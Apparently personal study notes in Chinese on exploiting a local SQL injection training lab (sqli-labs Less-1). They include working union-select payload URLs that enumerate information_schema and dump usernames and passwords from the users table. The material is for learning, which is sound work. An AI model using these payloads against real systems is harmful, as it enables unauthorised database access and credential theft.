1.配置靶场环境:
将靶场文件解压到www下的网站根目录:
启动小皮
将php版本改成5.4.45,否则版本不兼容弄,靶场打不开。
在浏览器中访问网站
1.确定攻击点 确定网站可以注入的参数 比如:?id= ?ID= ?a= ?sd=
2.判断闭合方式 ' --+
3.判断字段列数 order by,order by 5 和4页面不正常,说明列数小于4
最终得出页面有3列
4.联合查询 查当前数据库名,数据库版本,数据库用户
页面显示的是id=1的数据,没有显示我们联合查询的数据,把人家前面查询的id的数据改成不存在的,比如-1
5.联合查询 查出网站的数据库里面的所有表名
6.联合查询 查出users表里面的所有列
输入:http://127.0.0.1/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
7.查询表中所有的数据
输入http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(id,username,password) from users --+
重点:
内置库information_schema
tables -->table_schema(所有数据库的名字),table_name(数据库中所有表的名字)
columns -->table_schema(所有数据库的名字),table_name(数据库中所有表的名字),column_name(数据库中所有的列名)
sql注入的条件
1.参数是用户可控 2.参数被带入到数据库中
sql注入按照数据类型分类
1.数字型注入 2.字符型注入 3.搜索型注入